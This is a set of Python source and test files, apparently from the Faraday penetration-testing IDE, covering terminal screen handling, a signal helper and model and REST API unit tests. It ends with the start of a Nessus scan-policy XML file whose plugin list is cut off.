572 def _scrollDown(self, from_, n):
573 if n <= 0 or from_ > self._margin_b:
574 return
575 if from_+n > self._margin_b:
576 n = self._margin_b-from_
577 self._moveImage([from_+n, 0], [from_, 0],
578 [self._margin_b-n, self.columns-1])
579 self._clearImage([from_, 0], [from_+n-1, self.columns-1], u' ')
580
581 def _addHistoryLine(self):
582 """Add the first image's line to history buffer
583 Take care about scrolling too...
584 """
585 assert self.hasScroll() or self.hist_cursor == 0
586 if not self.hasScroll():
587 return
588 end = self.columns - 1
589 while end >= 0 and (self._image[0][end] is DCA or
590 self._image[0][end] == DCA) and not self._line_wrapped[0]:
591 end -= 1
592 oldHistLines = self._hist.lines
593 self._hist.addCells(self._image[0][:end+1], self._line_wrapped[0])
594 newHistLines = self._hist.lines
595 # Adjust history cursor
596 beginIsTL = (self._sel_begin == self._sel_topleft)
597 if newHistLines > oldHistLines:
598 self.hist_cursor += 1
599 # Adjust selection for the new point of reference
600 if self._sel_begin != [-1, -1]:
601 self._sel_topleft[0] += 1
602 self._sel_bottomright[0] += 1
603 # Scroll up if user is looking at the history and we can scroll up
604 if self.hist_cursor > 0 and (self.hist_cursor != newHistLines
605 or self.busy_selecting):
606 self.hist_cursor -= 1
607 # Scroll selection in history up
608 if self._sel_begin != [-1, -1]:
609 topBR = [1+newHistLines, 0]
610 if self._sel_topleft < topBR:
611 self._sel_topleft[0] -= 1
612 if self._sel_bottomright < topBR:
613 self._sel_bottomright[0] -= 1
614 if self._sel_bottomright < [0, 0]:
615 self.clearSelection()
616 elif self._sel_topleft < [0, 0]:
617 self._sel_topleft = [0, 0]
618 if beginIsTL:
619 self._sel_begin = self._sel_topleft
620 else:
621 self._sel_begin = self._sel_bottomright
622
623 def __initTabStops(self):
624 self.__tabStops = self.columns*[False]
625 for i in xrange(self.columns):
626 self.__tabStops[i] = ((i % 8 == 0) and i != 0)
627
628 def _effectiveRendition(self):
629 self._eff_re = self._cu_re & (RE_UNDERLINE | RE_BLINK)
630 if self._cu_re & RE_REVERSE:
631 self._eff_fg = self._cu_bg
632 self._eff_bg = self._cu_fg
633 else:
634 self._eff_fg = self._cu_fg
635 self._eff_bg = self._cu_bg
636 if self._cu_re & RE_BOLD:
637 if self._eff_fg < BASE_COLORS:
638 self._eff_fg += BASE_COLORS
639 else:
640 self._eff_fg -= BASE_COLORS
641
642 def _reverseRendition(self, image, x, y):
643 # image[coord] = p = image[coord].dump()
644 p = image[y][x]
645 image[y][x] = Ca(p.c, p.b, p.f, p.r)
646
647 # selection handling ######################################################
648
649 def setSelBeginXY(self, x, y):
650 self._sel_begin = [y+self.hist_cursor, x]
651 if x == self.columns:
652 self._incPoint(self._sel_begin, -1)
653 self._sel_bottomright = self._sel_begin
654 self._sel_topleft = self._sel_begin
655
656 def setSelExtendXY(self, x, y):
657 if self._sel_begin == [-1, -1]:
658 return
659 l = [y+self.hist_cursor, x]
660 if l < self._sel_begin:
661 self._sel_topleft = l
662 self._sel_bottomright = self._sel_begin
663 else:
664 if x == self.columns:
665 self._incPoint(l, -1)
666 self._sel_topleft = self._sel_begin
667 self._sel_bottomright = l
668
669 def testIsSelected(self, x, y):
670 pos = [y+self.hist_cursor, x]
671 return pos >= self._sel_topleft and pos <= self._sel_bottomright
672
673 def clearSelection(self):
674 self._sel_begin = [-1, -1] # First location selected
675 self._sel_topleft = [-1, -1] # Top-left location
676 self._sel_bottomright = [-1, -1]# Bottom-right location
677
678 def getSelText(self, preserve_line_break):
679 if self._sel_begin == [-1, -1]:
680 return
681 histBR = [self._hist.lines, 0]
682 hY = self._sel_topleft[0]
683 hX = self._sel_topleft[1]
684 m = []
685
686 s = self._sel_topleft[:]
687
688 if preserve_line_break:
689 eol_char = '\n'
690 else:
691 eol_char = ' '
692
693 #s es el begin!
694 while s <= self._sel_bottomright:
695 # XXX in the first if branch, eol is scalar while in the else branch, it's a point !
696 if s < histBR:
697 eol = self._hist.getLineLen(hY)
698 if hY == self._sel_bottomright[0] and eol > self._sel_bottomright[1]:
699 eol = self._sel_bottomright[1] + 1
700 while hX < eol:
701 c = self._hist.getCells(hY, hX, 1)[0].c
702 if c is not None:
703 m.append(c)
704 self._incPoint(s)
705 hX += 1
706 if s <= self._sel_bottomright:
707 if eol % self.columns == 0:
708 if eol == 0:
709 m.append(eol_char)
710 elif not self._hist.isWrappedLine(hY):
711 m.append(eol_char)
712 elif (eol + 1) % self.columns == 0:
713 if not self._hist.isWrappedLine(hY):
714 m.append(eol_char)
715 else:
716 m.append(eol_char)
717 hY += 1
718 hX = 0
719 s = [hY, 0]
720 else:
721 eol = [s[0]+1, 0]
722 self._incPoint(eol, -1)
723 addNewLine = False
724 if eol < self._sel_bottomright:
725 while eol > s:
726 pt = self._subPoints(eol, histBR)
727 ca = self._image[pt[0]][pt[1]]
728
729 if (not ca.c or ca.isSpace()):
730 if not self._line_wrapped[pt[0]]:
731 break
732 else:
733 # found a valid char!
734 break
735 self._incPoint(eol, -1)
736 elif eol == self._sel_bottomright:
737 pt = self._subPoints(eol, histBR)
738 if not self._line_wrapped[pt[0]]:
739 addNewLine = True
740 else:
741 eol = self._sel_bottomright
742 while s <= eol:
743 pt = self._subPoints(s, histBR)
744 c = self._image[pt[0]][pt[1]].c
745 if c is not None:
746 m.append(c)
747 self._incPoint(s)
748 if eol < self._sel_bottomright:
749 if eol[1] +1 == self.columns: #(eol + 1) % self.columns == 0:
750 if (not self._hist.isWrappedLine(eol[0]-histBR[0]) and
751 not self._line_wrapped[eol[0]-histBR[0]]):
752 m.append(eol_char)
753 else:
754 m.append(eol_char)
755 elif addNewLine and preserve_line_break:
756 m.append('\n')
757 s = [eol[0]+1, 0]
758 # skip trailing spaces
759 m = [line.rstrip() for line in ''.join(m).splitlines()]
760 return '\n'.join(m)
761
762 def setBackgroundColor(self, from_xy, to_xy, color):
763 #self.setSelBeginXY(from_xy[0], from_xy[1])
764 #self.setSelExtendXY(to_xy[0], to_xy[1])
765 #self.getSelText(False)
766
767 from_x = from_xy[0]
768 from_y = from_xy[1]
769
770 to_x = to_xy[0]
771 to_y = to_xy[1]
772
773 begin = [from_y+self.hist_cursor, from_x]
774 end = [to_y+self.hist_cursor, to_x]
775
776 if from_x == self.columns:
777 self._incPoint(begin, -1)
778
779 if end < begin:
780 start_highl = end
781 end_highl = begin
782 else:
783 if to_x == self.columns:
784 self._incPoint(end, -1)
785 start_highl = begin
786 end_highl = end
787
788 ##################################
789 #self._sel_begin = begin
790 #self._sel_topleft = self._sel_begin
791 #self._sel_bottomright = end
792 #self.getSelText(False)
793
794 self._paintBackground(start_highl, end_highl, color)
795
796 def _paintBackground(self, start_xy, end_xy, color):
797
798 if start_xy == [-1, -1]:
799 return
800
801 histBR = [self._hist.lines, 0]
802 hY = start_xy[0]
803 hX = start_xy[1]
804 m = []
805
806 s = start_xy[:]
807 eol_char = ' '
808
809 #s es el begin!
810 while s <= end_xy:
811 # XXX in the first if branch, eol is scalar while in the else branch, it's a point !
812 if s < histBR:
813 eol = self._hist.getLineLen(hY)
814 if hY == end_xy[0] and eol > end_xy[1]:
815 eol = end_xy[1] + 1
816 while hX < eol:
817 ca = self._hist.getCells(hY, hX, 1)[0].b = color
818 self._incPoint(s)
819 hX += 1
820 hY += 1
821 hX = 0
822 s = [hY, 0]
823 else:
824 eol = [s[0]+1, 0]
825 self._incPoint(eol, -1)
826
827 if eol < end_xy:
828 while eol > s:
829 pt = self._subPoints(eol, histBR)
830 ca = self._image[pt[0]][pt[1]]
831 self._image[pt[0]][pt[1]] = Ca(ca.c, ca.f, color, ca.r)
832
833 self._incPoint(eol, -1)
834 elif eol == end_xy:
835 pt = self._subPoints(eol, histBR)
836 else:
837 eol = end_xy
838
839 while s <= eol:
840 pt = self._subPoints(s, histBR)
841 ca = self._image[pt[0]][pt[1]]
842
843 self._image[pt[0]][pt[1]] = Ca(ca.c, ca.f, color, ca.r)
844 self._incPoint(s)
845
846
847 s = [eol[0]+1, 0]
848
849 def checkSelection(self, from_, to):
850 if self._sel_begin == [-1, -1]:
851 return
852 # Clear entire selection if overlaps region to be moved
853 if self._overlapSelection(from_, to):
854 self.clearSelection()
855
856 def _overlapSelection(self, from_, to):
857 assert isinstance(from_, list), from_
858 assert isinstance(to, list), to
859 scr_topleft = [self._hist.lines, 0]
860 # Clear entire selection if overlaps region [from_, to]
861 if self._sel_bottomright > self._addPoints(from_, scr_topleft) and \
862 self._sel_topleft < self._addPoints(to, scr_topleft):
863 return True
864 return False
865
866
867 # point manipulation ######################################################
868
869 def _incPoint(self, point, inc=1):
870 x = point[1] + inc
871 if x < 0 or x >= self.columns:
872 dy, x = divmod(x, self.columns)
873 point[0] += dy
874 point[1] = x
875
876 def _addPoints(self, point1, point2):
877 x = point1[1] + point2[1]
878 y = point1[0] + point2[0]
879 if x < 0 or x >= self.columns:
880 dy, x = divmod(x, self.columns)
881 y += dy
882 return [y, x]
883
884 def _subPoints(self, point1, point2):
885 x = point1[1] - point2[1]
886 y = point1[0] - point2[0]
887 if x < 0 or x >= self.columns:
888 dy, x = divmod(x, self.columns)
889 y += dy
890 return [y, x]
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7
8
9
10 class Signalable(object):
11 """a class implementing a signal API similar to the qt's one"""
12
13 def __init__(self, *args):
14 super(Signalable, self).__init__(*args)
15 self.__connected = {}
16
17 def myconnect(self, signal, callback):
18 """connect the given callback to the signal"""
19 self.__connected.setdefault(signal, []).append(callback)
20
21 def mydisconnect(self, signal, callback):
22 """disconnect the given callback from the signal"""
23 self.__connected[signal].remove(callback)
24
25 def myemit(self, signal, args=()):
26 """emit the given signal with the given arguments if any"""
27 for callback in self.__connected.get(signal, []):
28 try:
29 callback(*args)
30 except Exception:
31 import traceback
32 traceback.print_exc()
(New empty file)
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 import unittest
10 import sys
11 import os
12 sys.path.append(os.path.abspath(os.getcwd()))
13
14 from model.controller import ModelController
15 from auth.manager import SecurityManager
16 from managers.mapper_manager import MapperManager
17 from managers.all import PluginManager
18 import apis.rest.api as restapi
19 from apis.rest.client import ModelRestApiClient
20
21 from model.hosts import Host, Interface, Service
22
23 from mockito import mock, when
24
25 from config.configuration import getInstanceConfiguration
26 CONF = getInstanceConfiguration()
27
28
29 class CreationModelObjectsApiRest(unittest.TestCase):
30 """
31 This suite tests the interaction between the rest api server,
32 the model controller, the factory and the rest api client.
33 The client is going to be used by the plugins (through PluginBase).
34 """
35 def setUp(self):
36 self._security_manager = mock(SecurityManager())
37 self._mappers_manager = mock(MapperManager())
38 self._plugin_manager = mock(PluginManager)
39
40 self._model_controller = ModelController(
41 self._security_manager,
42 self._mappers_manager)
43
44 restapi.startAPIs(
45 self._plugin_manager, self._model_controller,
46 self._mappers_manager)
47
48 #TODO: load conf from file
49 self.client = ModelRestApiClient("127.0.0.1", 9977)
50
51 def tearDown(self):
52 restapi.stopAPIs()
53
54 def test_host_creation(self):
55 name = "pepito"
56 os = "Windows"
57 host_id = self.client.createHost(name, os)
58 host = Host(name, os)
59
60 self.assertEquals(host.getID(), host_id, "ids should be the same")
61
62 def test_interface_creation(self):
63 name = "pepito"
64 os = "Windows"
65 host = Host(name, os)
66
67 when(self._model_controller).find(host.getID()).thenReturn(host)
68
69 name = ""
70 mac = "00:00:00:00:00:00"
71 ipv4_address = "0.0.0.0"
72 ipv4_mask = "0.0.0.0"
73 ipv4_gateway = "0.0.0.0"
74 ipv4_dns = []
75 ipv6_address = "0000:0000:0000:0000:0000:0000:0000:0000"
76 ipv6_prefix = "00"
77 ipv6_gateway = "0000:0000:0000:0000:0000:0000:0000:0000"
78 ipv6_dns = []
79 network_segment = ""
80 hostname_resolution = []
81
82 interface_id = self.client.createInterface(
83 name, mac, ipv4_address, ipv4_mask, ipv4_gateway, ipv4_dns,
84 ipv6_address, ipv6_prefix, ipv6_gateway, ipv6_dns, network_segment,
85 hostname_resolution, host.getID())
86
87 interface = Interface(
88 name, mac, ipv4_address, ipv4_mask, ipv4_gateway, ipv4_dns,
89 ipv6_address, ipv6_prefix, ipv6_gateway, ipv6_dns, network_segment,
90 hostname_resolution, parent_id=host.getID())
91
92 self.assertNotEquals(
93 interface_id, None, "interface created shouldn't be None")
94
95 self.assertEquals(
96 interface.getID(), interface_id, "ids should be the same")
97
98 def test_service_creation(self):
99 name = "pepito"
100 os = "Windows"
101 host = Host(name, os)
102
103 name = ""
104 mac = "00:00:00:00:00:00"
105 ipv4_address = "0.0.0.0"
106 ipv4_mask = "0.0.0.0"
107 ipv4_gateway = "0.0.0.0"
108 ipv4_dns = []
109 ipv6_address = "0000:0000:0000:0000:0000:0000:0000:0000"
110 ipv6_prefix = "00"
111 ipv6_gateway = "0000:0000:0000:0000:0000:0000:0000:0000"
112 ipv6_dns = []
113 network_segment = ""
114 hostname_resolution = []
115
116 interface = Interface(
117 name, mac, ipv4_address, ipv4_mask, ipv4_gateway, ipv4_dns,
118 ipv6_address, ipv6_prefix, ipv6_gateway, ipv6_dns, network_segment,
119 hostname_resolution, parent_id=host.getID())
120
121 when(self._model_controller).find(
122 interface.getID()).thenReturn(interface)
123
124 name = "srv"
125 protocol = "tcp"
126 ports = []
127 status = "running"
128 version = "unknown"
129 description = ""
130
131 service_id = self.client.createService(
132 name, protocol, ports, status, version, description,
133 interface.getID())
134
135 service = Service(name, protocol, ports, status, version, description,
136 parent_id=interface.getID())
137
138 self.assertNotEquals(
139 service_id, None, "service created shouldn't be None")
140
141 self.assertEquals(
142 service.getID(), service_id, "ids should be the same")
143
144
145 if __name__ == '__main__':
146 unittest.main()
0 #!/usr/bin/python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 import unittest
8 import sys
9 sys.path.append('.')
10 import model.controller as controller
11 from mockito import mock, verify, when, any
12 from model.hosts import Host, Interface, Service
13 from model.common import ModelObjectVuln, ModelObjectVulnWeb, ModelObjectNote, ModelObjectCred
14 from urlparse import urlparse
15 from config.configuration import getInstanceConfiguration
16 CONF = getInstanceConfiguration()
17 from utils.logs import getLogger
18 from couchdbkit import Server, ChangesStream, Database
19 from controllers.change import ChangeController
20 from persistence.persistence_managers import CouchDbConnector, CouchDbManager, FileSystemManager, DBTYPE, DbManager
21
22
23 class ModelChanges(unittest.TestCase):
24 def testThreadStops(self):
25 changes_controller = ChangeController()
26 mapper = mock()
27 uri = CONF.getCouchURI()
28 url = urlparse(uri)
29 getLogger(self).debug(
30 "Setting user,pass %s %s" % (url.username, url.password))
31 self.cdbManager = CouchDbManager(uri=uri)
32
33 dbCouchController = self.cdbManager.createDb('testWkspc')
34 dbCouchController.saveDocument({'_id':'testwkspc',
35 'type':'workspace' })
36
37 changes_controller.watch(mapper, dbCouchController)
38 self.assertTrue(changes_controller.isAlive())
39
40 changes_controller.unwatch()
41 self.assertFalse(changes_controller.isAlive())
42
43 def testThreadStopsInFS(self):
44 dbManagerClass = DbManager
45 dbManagerClass._loadDbs = lambda x: None
46 dbManager = DbManager()
47 changes_controller = ChangeController()
48 mapper = mock()
49 fsController = dbManager.createDb('testWkspc', DBTYPE.FS)
50
51 fsController.saveDocument({'_id':'testwkspc',
52 'type':'workspace' })
53
54 changes_controller.watch(mapper, fsController)
55 self.assertTrue(changes_controller.isAlive())
56
57 changes_controller.unwatch()
58 self.assertFalse(changes_controller.isAlive())
59
60
61 if __name__ == '__main__':
62 unittest.main()
63
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 import unittest
10 import sys
11 import os
12 sys.path.append(os.path.abspath(os.getcwd()))
13 import random
14
15 from mockito import mock, when
16 import model.guiapi
17 import time
18 from model import api
19 from gui.notifier import NotificationCenter
20 import plugins.core as plcore
21 import model.controller as controller
22 from persistence.change import ChangeModelObject, ChangeCmd, Change
23
24 from config.configuration import getInstanceConfiguration
25 CONF = getInstanceConfiguration()
26
27
28 def new_random_workspace_name():
29 return ("aworkspace" + "".join(random.sample(
30 [chr(i) for i in range(65, 90)], 10))).lower()
31
32
33 class ChangesTestSuite(unittest.TestCase):
34
35 @classmethod
36 def setUpClass(cls):
37 cls.model_controller = mock(controller.ModelController)
38 cls.workspace_manager = mock()
39 api.setUpAPIs(cls.model_controller, cls.workspace_manager)
40 cls.couch_uri = CONF.getCouchURI()
41 # cls.cdm = CouchdbManager(uri=cls.couch_uri)
42
43 class NotificationTest(NotificationCenter):
44 def __init__(self, ui):
45 self.changes = []
46
47 def changeFromInstance(self, change):
48 self.changes.append(change)
49
50 cls.notifier = NotificationTest(None)
51 model.guiapi.notification_center = cls.notifier
52 cls._couchdb_workspaces = []
53 cls.wm = WorkspaceManager(cls.model_controller,
54 mock(plcore.PluginController))
55 cls.workspace = cls.wm.createWorkspace(new_random_workspace_name(),
56 workspaceClass=WorkspaceOnCouch)
57 when(cls.workspace).load().thenReturn(True)
58 cls._couchdb_workspaces.append(cls.workspace.name)
59 cls.wm.setActiveWorkspace(cls.workspace)
60
61 def setUp(self):
62 self.notifier.changes = []
63
64 @classmethod
65 def tearDownClass(cls):
66 WorkspacePersister.stopThreads()
67 # cls.cleanCouchDatabases()
68
69 # @classmethod
70 # def cleanCouchDatabases(cls):
71 # try:
72 # for wname in cls._couchdb_workspaces:
73 # cls.cdm.removeWorkspace(wname)
74 # except Exception as e:
75 # print(e)
76
77 def test_model_objects_added(self):
78 d1 = {
79 'type': 'Service'
80 }
81 d2 = {
82 'type': 'Host'
83 }
84 d3 = {
85 'type': 'Interface'
86 }
87 self.cdm._getDb(self.workspace.name).save_doc(d1, use_uuids=True,
88 force_update=True)
89 self.cdm._getDb(self.workspace.name).save_doc(d2, use_uuids=True,
90 force_update=True)
91 self.cdm._getDb(self.workspace.name).save_doc(d3, use_uuids=True,
92 force_update=True)
93
94 time.sleep(1)
95
96 self.assertEquals(len(self.notifier.changes), 3,
97 "Some changes weren't added")
98 for change in self.notifier.changes:
99 self.assertIsInstance(change, ChangeModelObject,
100 "It should be a ChangeModelObject")
101 self.assertNotIsInstance(change, ChangeCmd,
102 "It shouldn't be a ChangeCmd")
103 self.assertEquals(change.getAction(), Change.MODEL_OBJECT_ADDED,
104 "Change should be an addition")
105
106 def test_model_objects_delete(self):
107 d1 = {
108 '_id': '1',
109 'type': 'Host',
110 }
111 self.cdm._getDb(self.workspace.name).save_doc(d1, use_uuids=True,
112 force_update=True)
113
114 time.sleep(1)
115
116 self.assertEquals(len(self.notifier.changes), 1,
117 "Some changes weren't added")
118
119 self.assertEquals(self.notifier.changes[0].getAction(),
120 Change.MODEL_OBJECT_ADDED,
121 "First change should be an addition")
122
123 self.cdm._getDb(self.workspace.name).delete_doc(d1['_id'])
124 time.sleep(1)
125
126 self.assertEquals(self.notifier.changes[1].getAction(),
127 Change.MODEL_OBJECT_DELETED,
128 "Second change should be a Removal")
129
130 def test_model_objects_modified(self):
131 d1 = {
132 '_id': '1',
133 'type': 'Host',
134 }
135 self.cdm._getDb(self.workspace.name).save_doc(d1, use_uuids=True,
136 force_update=True)
137 d1 = {
138 '_id': '1',
139 'type': 'Host',
140 'foo': 'bar'
141 }
142 self.cdm._getDb(self.workspace.name).save_doc(d1, use_uuids=True,
143 force_update=True)
144
145 time.sleep(1)
146
147 self.assertEquals(len(self.notifier.changes), 2,
148 "Some changes weren't added")
149 self.assertEquals(self.notifier.changes[0].getAction(),
150 Change.MODEL_OBJECT_ADDED,
151 "First change should be an addition")
152 self.assertEquals(self.notifier.changes[1].getAction(),
153 Change.MODEL_OBJECT_MODIFIED,
154 "Second change should be a modification")
155
156 def test_cmd_executed(self):
157 d1 = {
158 'command': 'nmap',
159 'params': '-A -T4 127.0.0.1',
160 'type': 'CommandRunInformation',
161 }
162 self.cdm._getDb(self.workspace.name).save_doc(d1, use_uuids=True,
163 force_update=True)
164
165 time.sleep(1)
166
167 self.assertEquals(len(self.notifier.changes), 1,
168 "The change wasn't added")
169 change = self.notifier.changes[0]
170 self.assertNotIsInstance(change, ChangeModelObject,
171 "It shouldn't be a ChangeModelObject")
172 self.assertIsInstance(change, ChangeCmd,
173 "It should be a ChangeCmd")
174 self.assertEquals(change.getAction(), Change.CMD_EXECUTED,
175 "Change should be an executed command")
176
177 def test_cmd_finished(self):
178 d1 = {
179 'command': 'nmap',
180 'params': '-A -T4 127.0.0.1',
181 'type': 'CommandRunInformation',
182 }
183 self.cdm._getDb(self.workspace.name).save_doc(d1, use_uuids=True,
184 force_update=True)
185 d2 = {
186 'command': 'nmap',
187 'params': '-A -T4 127.0.0.1',
188 'type': 'CommandRunInformation',
189 'duration': '5'
190 }
191 self.cdm._getDb(self.workspace.name).save_doc(d2, use_uuids=True,
192 force_update=True)
193
194 time.sleep(1)
195
196 self.assertEquals(len(self.notifier.changes), 2,
197 "Some changes weren't added")
198 change = self.notifier.changes[1]
199 self.assertNotIsInstance(change, ChangeModelObject,
200 "It shouldn't be a ChangeModelObject")
201 self.assertIsInstance(change, ChangeCmd,
202 "It should be a ChangeCmd")
203 self.assertEquals(change.getAction(), Change.CMD_FINISHED,
204 "Change should be a finished command")
205
206 if __name__ == '__main__':
207 unittest.main()
0 #!/usr/bin/python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 from model.hosts import Host, Interface, Service, ModelObjectVuln
8 import random
9 def new_random_workspace_name():
10 return ("aworkspace" + "".join(random.sample([chr(i) for i in range(65, 90)
11 ], 10 ))).lower()
12
13 def create_host(self, host_name="pepito", os="linux"):
14 host = Host(host_name, os)
15 self.model_controller.addHostSYNC(host)
16 return host
17
18 def create_interface(self, host, iname="coqiuto", mac="00:03:00:03:04:04"):
19 interface = Interface(name=iname, mac=mac)
20 self.model_controller.addInterfaceSYNC(host.getName(), interface)
21 return interface
22
23 def create_service(self, host, interface, service_name = "coquito"):
24 service = Service(service_name)
25 self.model_controller.addServiceToInterfaceSYNC(host.getID(),
26 interface.getID(), service)
27 return service
28
29 def create_host_vuln(self, host, name, desc, severity):
30 vuln = ModelObjectVuln(name, desc, severity)
31 self.model_controller.addVulnToHostSYNC(host.getID(), vuln)
32
33 return vuln
34
35 def create_int_vuln(self, host, interface, name, desc, severity):
36 vuln = ModelObjectVuln(name, desc, severity)
37 self.model_controller.addVulnToInterfaceSYNC( host.getID(), interface.getID(), vuln)
38
39 return vuln
40
41 def create_serv_vuln(self, host, service, name, desc, severity):
42 vuln = ModelObjectVuln(name, desc, severity)
43 self.model_controller.addVulnToServiceSYNC( host.getID(), service.getID(), vuln)
44
45 return vuln
0 <?xml version="1.0" ?>
1 <NessusClientData_v2>
2 <Policy><policyName>Internal Network Scan</policyName>
3 <Preferences><ServerPreferences><preference><name>max_simult_tcp_sessions</name>
4 <value>unlimited</value>
5 </preference>
6 <preference><name>use_mac_addr</name>
7 <value>no</value>
8 </preference>
9 <preference><name>plugin_set</name>
10 <value>16775;16066;25451;54191;60374;55364;61980;33572;12878;24384;43101;40715;26256;27362;57439;66560;21828;64849;39419;32080;65025;64615;28457;55991;38878;40003;40295;16700;14933;66924;19111;15882;36867;63797;24446;34096;34617;23116;27863;56309;23189;32964;50088;53469;34145;32085;27877;18919;60594;62734;42311;19973;31892;36886;38403;55257;25995;52440;31436;17166;65244;19388;27965;15393;26515;28262;16773;62047;20539;35893;59532;15649;23796;58710;11594;45524;33408;39771;29306;14951;63816;58325;31734;38307;32903;56742;22288;56843;34309;39792;19670;14569;56779;25131;51561;20609;40921;25266;29615;63994;58162;10204;53864;14546;22930;60854;25068;23322;16312;19085;44745;50674;44799;24139;12202;36772;18138;52867;55000;62536;16658;38123;34019;55904;40427;44045;38321;24327;62205;20432;23952;38236;21636;28106;36662;43573;55879;43474;51875;11729;13663;42859;56810;65485;47696;31561;47282;45832;53105;13247;56184;57113;11739;58678;27884;29860;51053;57103;46951;15171;14227;17165;20428;52632;41600;15266;16025;46105;51858;46237;39113;16893;22762;40250;51698;33691;42641;33700;54546;21258;58145;16638;63985;22868;49610;56746;52661;48874;51900;47041;24200;21571;66365;11943;20180;14171;10154;47806;62875;22482;45201;50431;30320;66411;28749;16299;22434;57250;51598;37120;45164;34660;29451;29617;49560;41594;59710;24867;48889;41944;43520;15774;54143;47460;49908;39636;49216;19225;49646;64778;42547;21541;57938;61559;18062;26524;38588;11272;21078;62583;60028;31067;37086;51363;15225;28696;20845;66903;16810;21701;66938;13008;15401;26081;51606;37106;37750;41013;20616;45996;53256;53194;24486;19214;10917;15378;54564;40520;27011;38990;19278;44149;55221;49975;43197;34147;32120;53066;33034;20189;61512;47009;55122;48195;51146;28485;24597;59787;24508;36760;20284;49322;40251;14441;25657;50355;30048;17716;59389;16967;36481;43373;60386;29491;38942;39491;37062;34111;54514;59702;12239;59574;20381;30751;24278;21000;41693;11941;54910;30073;28949;37389;40461;14315;10662;24806;14421;41100;26083;60317;22418;18129;32960;54316;45293;33282;63888;49382;25608;33820;12631;39693;59652;60850;46413;14781;60396;39705;17727;17426;64519;50675;10806;61239;20993;52205;42101;41218;16156;17053;25173;57840;51387;47451;11412;52770;10142;13207;37128;61996;27465;39296;49170;37769;29553;62985;38125;53435;53953;39482;29555;10005;15457;53021;33578;37474;20817;41795;20895;14788;19279;38643;47254;11370;18105;17676;14416;21002;39355;33000;30892;28206;50090;20345;22594;66573;53826;42459;19081;64084;63498;22829;39738;24054;37622;64018;31870;51369;10177;24577;14932;58389;45216;20406;65644;17277;25542;45615;31043;60619;15574;40887;22928;55048;10056;12252;36575;55774;52443;16894;40435;57020;25647;18618;25867;48891;18568;23509;32432;64128;40938;40964;36774;41656;54189;46755;34555;30819;14901;35624;31690;24442;39508;31017;66747;44910;24860;66726;26286;50212;34673;31837;53986;62223;12651;62597;11578;59925;28355;29359;17337;36753;42317;40747;22475;31811;49125;12217;57435;45150;50413;23691;29318;30543;64980;30717;54490;14590;56258;32092;35005;27058;63682;44878;34414;24479;19538;48351;20875;41702;20745;21460;53349;18604;63413;32031;31095;18493;33276;25231;13575;59411;13254;27641;24185;10728;42031;10509;15840;51593;39822;62915;43163;13600;52919;43765;62348;33759;62572;47784;35547;46362;12460;18058;59077;39266;65377;36671;53590;23588;36876;42538;28111;34519;15385;12791;49555;36275;10919;61384;37468;43972;37561;21368;38075;46049;65350;35176;45488;21860;45110;50531;58464;58041;53828;63141;37472;63036;60172;17071;41114;14931;59747;28638;54145;41520;44769;56847;31608;55045;20762;35022;41923;11245;14860;32854;19321;32687;42111;11443;39582;33385;38237;41105;65107;22860;64140;27061;42214;32717;53184;61441;23506;64376;33983;61050;19433;49821;24782;51774;21050;30977;50529;43066;35416;43307;65437;60770;49557;21178;62951;22336;53819;20653;45475;32808;30205;26929;39087;57575;25795;43669;50136;50635;29169;56044;64935;51248;63439;35292;65819;19276;33227;33468;55659;22413;50564;49335;56225;50940;11835;17312;44596;45350;50824;27851;27615;42051;60260;52980;13754;45371;49535;37287;50372;66798;65098;52118;46809;40916;61022;59507;10487;19584;42068;62333;39780;63440;47277;49386;16800;42439;19562;42422;40569;38296;58709;19101;33964;27934;50182;18477;31952;36996;61138;38756;44398;26914;44535;22302;22028;65355;33100;63222;43799;65393;33932;50485;28260;46277;18173;66809;47534;39752;60939;33256;13128;37404;42722;27748;23869;28637;35269;20006;19946;50710;36634;55495;19375;34331;34221;49683;23298;38821;57541;62192;55753;63185;61706;53618;59164;15021;22516;39253;60321;33009;44987;13572;11785;38740;22859;24335;57301;51549;13760;13629;58404;45841;34029;38889;11692;63168;44968;46739;18364;29423;31411;36936;42982;35083;52427;23972;27605;49771;57409;18506;21795;47364;55064;57124;21437;30557;63199;49058;63681;56704;13868;25172;49119;36118;62431;46763;27947;38440;60871;22736;50343;17518;28241;21685;64991;30877;65564;26075;64588;31292;27043;46326;51069;11882;28862;27312;55305;52119;39956;25539;32901;17283;37313;20482;16599;63869;18279;52999;58775;58925;31682;61762;47069;55992;51474;52120;19630;30133;29840;44698;63871;47549;11416;55092;30006;48518;19610;64232;17248;27507;65634;32913;36222;65030;53996;66837;47527;12066;43406;54840;48815;59208;66081;58477;23992;25082;36021;44848;60582;27244;38962;62147;46051;21145;51870;43396;17379;44959;15508;25749;41317;11939;28038;64030;22472;32775;32720;20661;60829;20478;65888;48975;20312;55736;47280;27368;21614;49621;14346;66705;16885;14990;40590;17341;16964;20537;63547;28024;52969;29552;22512;62391;29089;34985;11641;43809;19325;30063;28871;11083;51404;27623;38653;12591;47626;56106;13109;40597;28254;65197;62272;47195;13581;66079;57513;28656;51299;33961;30925;57380;49263;24402;52165;37217;14422;38193;56954;21935;17020;15816;61572;25924;44436;37002;17026;14778;18098;16208;65240;24886;49160;62318;62207;38251;11236;63680;41957;17821;54933;23081;16748;13836;27752;26339;26438;21042;33272;49930;11127;19945;35432;29117;54469;14629;44747;13295;16719;64494;51225;34427;17326;63290;38303;33640;38057;26792;33861;45029;11552;60343;24570;41673;51009;22602;23407;17351;23668;27482;65727;54713;30243;10529;29956;41096;40662;36505;20088;19047;10725;51001;55501;32772;53676;29442;10099;53759;52916;10757;52955;13406;45138;59824;18185;38919;31469;51505;55848;41273;19626;38636;37651;44516;25456;2880